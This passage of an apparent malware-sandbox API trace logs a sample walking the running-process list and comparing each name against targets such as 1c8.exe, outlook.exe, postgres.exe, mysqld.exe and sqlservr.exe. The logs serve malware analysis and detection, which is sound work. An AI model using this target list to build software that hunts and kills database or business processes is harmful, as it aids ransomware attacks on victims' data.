(lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0065.869] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.870] lstrlenW (lpString="explorer.exe") returned 12 [0065.870] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0065.870] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0065.870] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0065.870] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0065.870] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0065.870] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0065.870] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0065.870] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.872] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.872] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0065.872] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0065.872] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.873] lstrlenW (lpString="svchost.exe") returned 11 [0065.874] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.874] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.874] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.875] lstrlenW (lpString="taskhost.exe") returned 12 [0065.875] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0065.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0065.876] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0065.876] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0065.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0065.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0065.876] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0065.876] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.877] lstrlenW (lpString="taskeng.exe") returned 11 [0065.877] lstrcmpiW (lpString1="1c8.exe", lpString2="taskeng.exe") returned -1 [0065.877] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskeng.exe") returned -1 [0065.877] lstrcmpiW (lpString1="outlook.exe", lpString2="taskeng.exe") returned -1 [0065.877] lstrcmpiW (lpString1="postgres.exe", lpString2="taskeng.exe") returned -1 [0065.877] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskeng.exe") returned -1 [0065.877] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskeng.exe") returned -1 [0065.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskeng.exe") returned -1 [0065.878] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0065.881] lstrlenW (lpString="developingthousands.exe") returned 23 [0065.881] lstrcmpiW (lpString1="1c8.exe", lpString2="developingthousands.exe") returned -1 [0065.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="developingthousands.exe") returned -1 [0065.881] lstrcmpiW (lpString1="outlook.exe", lpString2="developingthousands.exe") returned 1 [0065.881] lstrcmpiW (lpString1="postgres.exe", lpString2="developingthousands.exe") returned 1 [0065.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="developingthousands.exe") returned 1 [0065.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="developingthousands.exe") returned 1 [0065.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="developingthousands.exe") returned 1 [0065.881] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0065.883] lstrlenW (lpString="efattack.exe") returned 12 [0065.883] lstrcmpiW (lpString1="1c8.exe", lpString2="efattack.exe") returned -1 [0065.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="efattack.exe") returned -1 [0065.883] lstrcmpiW (lpString1="outlook.exe", lpString2="efattack.exe") returned 1 [0065.883] lstrcmpiW (lpString1="postgres.exe", lpString2="efattack.exe") returned 1 [0065.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="efattack.exe") returned 1 [0065.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="efattack.exe") returned 1 [0065.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="efattack.exe") returned 1 [0065.883] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0065.884] lstrlenW (lpString="feedback.exe") returned 12 [0065.884] lstrcmpiW (lpString1="1c8.exe", lpString2="feedback.exe") returned -1 [0065.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="feedback.exe") returned -1 [0065.885] lstrcmpiW (lpString1="outlook.exe", lpString2="feedback.exe") returned 1 [0065.885] lstrcmpiW (lpString1="postgres.exe", lpString2="feedback.exe") returned 1 [0065.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="feedback.exe") returned 1 [0065.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="feedback.exe") returned 1 [0065.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="feedback.exe") returned 1 [0065.885] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0065.886] lstrlenW (lpString="happy blond engage.exe") returned 22 [0065.886] lstrcmpiW (lpString1="1c8.exe", lpString2="happy blond engage.exe") returned -1 [0065.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="happy blond engage.exe") returned -1 [0065.886] lstrcmpiW (lpString1="outlook.exe", lpString2="happy blond engage.exe") returned 1 [0065.887] lstrcmpiW (lpString1="postgres.exe", lpString2="happy blond engage.exe") returned 1 [0065.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="happy blond engage.exe") returned 1 [0065.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="happy blond engage.exe") returned 1 [0065.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="happy blond engage.exe") returned 1 [0065.887] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0065.888] lstrlenW (lpString="controller_type.exe") returned 19 [0065.888] lstrcmpiW (lpString1="1c8.exe", lpString2="controller_type.exe") returned -1 [0065.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="controller_type.exe") returned -1 [0065.889] lstrcmpiW (lpString1="outlook.exe", lpString2="controller_type.exe") returned 1 [0065.889] lstrcmpiW (lpString1="postgres.exe", lpString2="controller_type.exe") returned 1 [0065.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="controller_type.exe") returned 1 [0065.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="controller_type.exe") returned 1 [0065.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="controller_type.exe") returned 1 [0065.889] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0065.890] lstrlenW (lpString="donations_berry.exe") returned 19 [0065.890] lstrcmpiW (lpString1="1c8.exe", lpString2="donations_berry.exe") returned -1 [0065.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="donations_berry.exe") returned -1 [0065.890] lstrcmpiW (lpString1="outlook.exe", lpString2="donations_berry.exe") returned 1 [0065.891] lstrcmpiW (lpString1="postgres.exe", lpString2="donations_berry.exe") returned 1 [0065.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="donations_berry.exe") returned 1 [0065.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="donations_berry.exe") returned 1 [0065.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="donations_berry.exe") returned 1 [0065.891] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0065.892] lstrlenW (lpString="lindsay.exe") returned 11 [0065.892] lstrcmpiW (lpString1="1c8.exe", lpString2="lindsay.exe") returned -1 [0065.892] lstrcmpiW (lpString1="1cv77.exe", lpString2="lindsay.exe") returned -1 [0065.892] lstrcmpiW (lpString1="outlook.exe", lpString2="lindsay.exe") returned 1 [0065.892] lstrcmpiW (lpString1="postgres.exe", lpString2="lindsay.exe") returned 1 [0065.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lindsay.exe") returned 1 [0065.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="lindsay.exe") returned 1 [0065.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lindsay.exe") returned 1 [0065.893] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0065.894] lstrlenW (lpString="columnists.exe") returned 14 [0065.894] lstrcmpiW (lpString1="1c8.exe", lpString2="columnists.exe") returned -1 [0065.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="columnists.exe") returned -1 [0065.894] lstrcmpiW (lpString1="outlook.exe", lpString2="columnists.exe") returned 1 [0065.894] lstrcmpiW (lpString1="postgres.exe", lpString2="columnists.exe") returned 1 [0065.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="columnists.exe") returned 1 [0065.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="columnists.exe") returned 1 [0065.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="columnists.exe") returned 1 [0065.894] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0065.896] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0065.896] lstrcmpiW (lpString1="1c8.exe", lpString2="expected_converter_behind.exe") returned -1 [0065.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="expected_converter_behind.exe") returned -1 [0065.896] lstrcmpiW (lpString1="outlook.exe", lpString2="expected_converter_behind.exe") returned 1 [0065.896] lstrcmpiW (lpString1="postgres.exe", lpString2="expected_converter_behind.exe") returned 1 [0065.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="expected_converter_behind.exe") returned 1 [0065.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="expected_converter_behind.exe") returned 1 [0065.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="expected_converter_behind.exe") returned 1 [0065.896] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0065.897] lstrlenW (lpString="chose.exe") returned 9 [0065.898] lstrcmpiW (lpString1="1c8.exe", lpString2="chose.exe") returned -1 [0065.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="chose.exe") returned -1 [0065.898] lstrcmpiW (lpString1="outlook.exe", lpString2="chose.exe") returned 1 [0065.898] lstrcmpiW (lpString1="postgres.exe", lpString2="chose.exe") returned 1 [0065.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="chose.exe") returned 1 [0065.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="chose.exe") returned 1 [0065.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="chose.exe") returned 1 [0065.898] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0065.899] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0065.899] lstrcmpiW (lpString1="1c8.exe", lpString2="disciplinary_became.exe") returned -1 [0065.899] lstrcmpiW (lpString1="1cv77.exe", lpString2="disciplinary_became.exe") returned -1 [0065.900] lstrcmpiW (lpString1="outlook.exe", lpString2="disciplinary_became.exe") returned 1 [0065.900] lstrcmpiW (lpString1="postgres.exe", lpString2="disciplinary_became.exe") returned 1 [0065.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="disciplinary_became.exe") returned 1 [0065.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="disciplinary_became.exe") returned 1 [0065.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="disciplinary_became.exe") returned 1 [0065.900] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0065.901] lstrlenW (lpString="methods.exe") returned 11 [0065.901] lstrcmpiW (lpString1="1c8.exe", lpString2="methods.exe") returned -1 [0065.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="methods.exe") returned -1 [0065.901] lstrcmpiW (lpString1="outlook.exe", lpString2="methods.exe") returned 1 [0065.901] lstrcmpiW (lpString1="postgres.exe", lpString2="methods.exe") returned 1 [0065.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="methods.exe") returned 1 [0065.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="methods.exe") returned 1 [0065.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="methods.exe") returned 1 [0065.902] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0065.903] lstrlenW (lpString="circulation.exe") returned 15 [0065.903] lstrcmpiW (lpString1="1c8.exe", lpString2="circulation.exe") returned -1 [0065.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="circulation.exe") returned -1 [0065.903] lstrcmpiW (lpString1="outlook.exe", lpString2="circulation.exe") returned 1 [0065.903] lstrcmpiW (lpString1="postgres.exe", lpString2="circulation.exe") returned 1 [0065.904] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0065.905] lstrlenW (lpString="suited.exe") returned 10 [0065.905] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0065.907] lstrlenW (lpString="infrastructure.exe") returned 18 [0065.907] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0065.908] lstrlenW (lpString="manager_olympic.exe") returned 19 [0065.908] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0065.957] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0065.957] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0065.958] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0065.958] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0065.960] lstrlenW (lpString="3dftp.exe") returned 9 [0065.960] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0065.961] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0065.961] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0065.963] lstrlenW (lpString="alftp.exe") returned 9 [0065.963] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0065.964] lstrlenW (lpString="barca.exe") returned 9 [0065.964] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0065.965] lstrlenW (lpString="bitkinex.exe") returned 12 [0065.966] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0065.967] lstrlenW (lpString="coreftp.exe") returned 11 [0065.967] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0065.969] lstrlenW (lpString="far.exe") returned 7 [0065.969] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0065.970] lstrlenW (lpString="filezilla.exe") returned 13 [0065.970] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0065.972] lstrlenW (lpString="flashfxp.exe") returned 12 [0065.972] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0065.974] lstrlenW (lpString="fling.exe") returned 9 [0065.974] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0065.975] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0065.975] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0065.976] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0065.977] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0065.978] lstrlenW (lpString="icq.exe") returned 7 [0065.978] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0065.979] lstrlenW (lpString="leechftp.exe") returned 12 [0065.979] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0065.981] lstrlenW (lpString="ncftp.exe") returned 9 [0065.981] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0065.982] lstrlenW (lpString="notepad.exe") returned 11 [0065.982] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0065.985] lstrlenW (lpString="operamail.exe") returned 13 [0065.985] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0065.987] lstrlenW (lpString="pidgin.exe") returned 10 [0065.987] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0065.989] lstrlenW (lpString="scriptftp.exe") returned 13 [0065.989] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0065.992] lstrlenW (lpString="skype.exe") returned 9 [0065.992] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0065.994] lstrlenW (lpString="smartftp.exe") returned 12 [0065.994] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 